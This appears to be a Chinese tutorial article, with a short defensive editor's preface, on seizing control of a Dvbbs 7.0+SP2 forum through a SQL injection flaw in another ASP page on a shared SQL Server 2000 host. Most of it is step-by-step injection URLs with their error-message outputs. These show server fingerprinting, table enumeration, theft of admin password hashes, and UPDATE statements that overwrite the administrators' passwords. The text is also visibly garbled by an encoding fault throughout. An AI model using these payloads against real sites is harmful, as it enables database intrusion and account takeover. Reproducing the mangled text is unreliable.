|
編輯前言：這個(gè)文章我沒有測(cè)試，但前提條件還是很多，比如一定要有別的程序存在，而且也要用同一個(gè)SQLSERVER庫(kù)，還得假設(shè)有注入漏洞。說到底和動(dòng)網(wǎng)沒有什么關(guān)系，但因?yàn)閯?dòng)網(wǎng)論壇的開放性，讓人熟悉了其數(shù)據(jù)庫(kù)結(jié)構(gòu)，和程序運(yùn)作方法。在一步步的攻擊中取得管理權(quán)限，再一步步的提升權(quán)限，如果正好數(shù)據(jù)庫(kù)用的是SA帳號(hào)，就更是麻煩了。
正是由于這些條件的假設(shè)，所以大家也不用太緊張，這里提供的是很多理想狀態(tài)下的入侵行為，在編程中減少安全漏洞是我們每個(gè)程序員要注意的。而站長(zhǎng)在組合使用多個(gè)程序的時(shí)候，也要注意安全和程序的完整性。
在我所了解的多個(gè)動(dòng)網(wǎng)7.0+sp2 的版本也有2－3次被黑現(xiàn)象，所以大家還要及時(shí)注意升級(jí)，詳細(xì)進(jìn)行權(quán)限設(shè)置。并不是說動(dòng)網(wǎng)不好，而是說他程序的開放性，用的人很多，找出來(lái)的BUG會(huì)很多，軟件學(xué)里說了，用的越多，BUG會(huì)越多。相對(duì)來(lái)說，我喜歡自己定制化開發(fā)的程序，相對(duì)來(lái)說會(huì)安全一些。
下面是六中男孩的正文
現(xiàn)在動(dòng)網(wǎng)最新版本是7.0+SP2。應(yīng)該說安全性已經(jīng)是很高的了。所以從腳本本身的問題去突破它難度不小。但是我們可以從外部的一些途徑間接“搞定”動(dòng)網(wǎng).現(xiàn)在IIS+ASP+SQL2000的組合是比較常見的。而一個(gè)網(wǎng)站運(yùn)用大量的ASP腳本程序，難免不出紕漏。如果一臺(tái)主機(jī)上存在某個(gè)SQL注入點(diǎn)，而這臺(tái)主機(jī)又安裝有動(dòng)網(wǎng)SQL版的話，基本上可以得出結(jié)論：這個(gè)動(dòng)網(wǎng)就是你的了。下面來(lái)看一下實(shí)例。
一、 首先確定目標(biāo)。假設(shè)以下URL存在SQL注入：
http://www.loveyou.com/type.asp?id=6 測(cè)試能否注入可以在6后面加個(gè)單引號(hào)。
http://www.loveyou.com/type.aspid=6' 返回錯(cuò)誤提示：
Microsoft OLE DB Provider for ODBC Drivers 錯(cuò)誤 '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]字符串 '' 之前有未閉合的引號(hào)。
繼續(xù)，先探測(cè)一下系統(tǒng)版本：
http://www.loveyou.com/type.asp?id=(select @@version)--
返回： Microsoft OLE DB Provider for ODBC Drivers 錯(cuò)誤 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]將 nvarchar 值 'Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4) ' 轉(zhuǎn)換為數(shù)據(jù)類型為 int 的列時(shí)發(fā)生語(yǔ)法錯(cuò)誤。
看來(lái)已經(jīng)打上最新的SP4補(bǔ)丁。
取得當(dāng)前連接數(shù)據(jù)庫(kù)用戶：
http://www.loveyou.com/type.asp?id=(select user_name())--
返回：Microsoft OLE DB Provider for ODBC Drivers 錯(cuò)誤 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]將 nvarchar 值 'webuser' 轉(zhuǎn)換為數(shù)據(jù)類型為 int 的列時(shí)發(fā)生語(yǔ)法錯(cuò)誤。
從錯(cuò)誤信息中得到當(dāng)前數(shù)據(jù)庫(kù)用戶為：webuser
取得當(dāng)前連接數(shù)據(jù)庫(kù)名：
http://www.loveyou.com/type.asp?id=(select db_name())--
返回：Microsoft OLE DB Provider for ODBC Drivers 錯(cuò)誤 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]將 nvarchar 值 '01city' 轉(zhuǎn)換為數(shù)據(jù)類型為 int 的列時(shí)發(fā)生語(yǔ)法錯(cuò)誤。
從錯(cuò)誤信息中得到當(dāng)前數(shù)據(jù)庫(kù)名為： 01city
接下來(lái)測(cè)試下權(quán)限：（注：因?yàn)槲覀兊哪康氖歉愣▌?dòng)網(wǎng)而不是侵占系統(tǒng)。所以數(shù)據(jù)庫(kù)權(quán)限對(duì)我們不是很重要。）
http://www.loveyou.com/type.asp?id=(SELECT IS_SRVROLEMEMBER('sysadmin'))--
返回錯(cuò)誤信息。提示當(dāng)前記錄已刪除。看來(lái)權(quán)限果然不是很高耶。繼續(xù)，
http://www.loveyou.com/type.asp?id=(SELECT%20IS_MEMBER('db_owner'))--
正常顯示信息，看來(lái)連接數(shù)據(jù)庫(kù)擁有的權(quán)限是DB_OWNER(DOWN數(shù)據(jù)庫(kù)所有者。但對(duì)操縱數(shù)據(jù)是綽綽有余了。
二.得到數(shù)據(jù)庫(kù)表名。不出意外的話動(dòng)網(wǎng)的各個(gè)表就存在于當(dāng)前數(shù)據(jù)庫(kù)01city中。
首先得到第一個(gè)表：
http://www.loveyou.com/type.asp?id=(select top 1 name from sysobjects where xtype='u' and status>0 and name not in(''))--
返回：[Microsoft][ODBC SQL Server Driver][SQL Server]將 nvarchar 值 'address' 轉(zhuǎn)換為數(shù)據(jù)類型為 int 的列時(shí)發(fā)生語(yǔ)法錯(cuò)誤。
好的，第一個(gè)表名出來(lái)了，為： address
繼續(xù)，
http://www.loveyou.com/type.asp?id=(select top 1 name from sysobjects where xtype='u' and status>0 and name not in('address'))--
返回： admin 第二個(gè)表名也出來(lái)了。依次類推， 提交：
http://www.loveyou.com/type.asp?id=(select top 1 name from sysobjects where xtype='u' and status>0 and name not in('address'，'admin',...))--
可以得到當(dāng)前數(shù)據(jù)庫(kù)中所有表名。
不一會(huì)兒，結(jié)果出來(lái)了， 表名好眼熟啊。
"address","admin","bbslink","bbsnews","board","user".........傻瓜都看的出這是動(dòng)網(wǎng)的表。當(dāng)然還有其它的一些表，我們不去管它。
接下來(lái)就好辦了，也不要去猜字段了，我們打開自己的動(dòng)網(wǎng)數(shù)據(jù)庫(kù)看一下就知道了。 既然有了表名，字段名，那么，動(dòng)網(wǎng)不就在你掌握之下了嗎？ 但千萬(wàn)不要 drop table啊。 破壞就不好了。我們的目的是演練技術(shù)，提高水平。 好，那么，我們?nèi)サ玫絼?dòng)網(wǎng)的后臺(tái)。
三、進(jìn)入后臺(tái)，取得動(dòng)網(wǎng)論壇管理員權(quán)限。
先看看后臺(tái)有多少個(gè)管理員：
http://www.loveyou.com/type.asp?id=6 and 4=(select count(username) from admin)--
返回錯(cuò)誤： 當(dāng)前的記錄已被刪除。說明管理員少于4位。直接提交，
http://www.loveyou.com/type.asp?id=6 and 1=(select count(username) from admin)--
正常顯示信息，看來(lái)管理員只有一個(gè)，讀出管理員名字，
http://www.loveyou.com/type.asp?id=(select username from admin)--
出來(lái)了，管理員后臺(tái)登陸名為： 01city
繼續(xù)讀出管理員后臺(tái)登陸密碼：
http://www.loveyou.com/type.asp?id=(select password from admin)--
很順利，密碼為： e7cc01be0e33a273
是MD5加密過的。難道要去破解它嗎？ 別急，根本不需要去破MD5密碼。
由于動(dòng)網(wǎng)后臺(tái)管理是COOKIE+SESSION認(rèn)證。所以只有管理員在前臺(tái)登陸才可以進(jìn)后臺(tái)管理，一般用戶是無(wú)法進(jìn)后臺(tái)管理的。即使后臺(tái)用戶和密碼都知道的情況下也一樣。所以我們還要取得前臺(tái)管理的用戶和密碼。 這個(gè)很容易，在他論壇注冊(cè)一個(gè)用戶查看一下管理團(tuán)隊(duì)，得出，前臺(tái)管理用戶為： admin
好，得到他的密碼：
http://www.loveyou.com/type.asp?id=(select userpassword from user where username='admin')--
返回，admin的前臺(tái)密碼為：e7cc01be0e33a273
同樣是MD5的。 現(xiàn)在利用COOKIE欺騙可以登陸它的前臺(tái)管理了。但是還有別的辦法嗎？別忘了現(xiàn)在我們可是對(duì)它的數(shù)據(jù)庫(kù)擁有生殺大權(quán)哦。聰明的你可能想到了，對(duì) ，就是，update。 我們來(lái)提交：
http://www.loveyou.com/type.asp?id=6;update user set userpassword='49ba59abbe56e057' where username='admin'；--
正常返回信息，應(yīng)該成功執(zhí)行了，查看一下：
http://www.loveyou.com/type.asp?id=(select userpassword from user where username='admin')--
返回值為： 49ba59abbe56e057
更改密碼成功，說明一下，這個(gè)16位MD5是預(yù)先算好的。你要知道它的明文密碼。
那么同樣的，我們更改一下后臺(tái)的管理密碼.先把后臺(tái)用戶改成和前臺(tái)用戶一樣的，提交：
http://www.loveyou.com/type.asp?id=6;update admin set username='admin' where username='01city'--
查看一下：
http://www.loveyou.com/type.asp?id=(select username from admin)--
更改成功，后臺(tái)管理員現(xiàn)在已變成：admin 接下來(lái)更改密碼，提交：
http://www.loveyou.com/type.asp?id=6;update admin set password='49ba59abbe56e057' where username='admin'--
查看一下：
http://www.loveyou.com/type.asp?id=(select password from admin)--
更改成功，后臺(tái)管理員密碼已經(jīng)變成：49ba59abbe56e057
到這里為止，動(dòng)網(wǎng)已徹底淪陷。你可以用admin登陸前臺(tái)然后再用相同的密碼進(jìn)后臺(tái)管理了。
四、總結(jié)
就這樣并不算太艱難的實(shí)現(xiàn)了對(duì)動(dòng)網(wǎng)的控制。通過這次善意的滲透測(cè)試，也暴露出SQL INJECTION攻擊的可怕性。而對(duì)于IIS+ASP+SQL2000的虛擬主機(jī)來(lái)說簡(jiǎn)直就是防不勝防。只要主機(jī)上有一個(gè)SQL注入點(diǎn)的話，動(dòng)網(wǎng)就將面臨滅頂之災(zāi)了。而其實(shí)從服務(wù)器龐大的網(wǎng)站程序中找一個(gè)這樣的SQL注入點(diǎn)并不算難事.正應(yīng)征了一句老話：千里之堤，潰于蟻穴。所以防范這樣的攻擊的最好辦法是加強(qiáng)程序代碼的安全性。安全是個(gè)整體，任何細(xì)微的錯(cuò)誤都有可能導(dǎo)致嚴(yán)重后果。
出處：藍(lán)色理想
責(zé)任編輯：藍(lán)色
◎進(jìn)入論壇網(wǎng)絡(luò)編程版塊參加討論
|
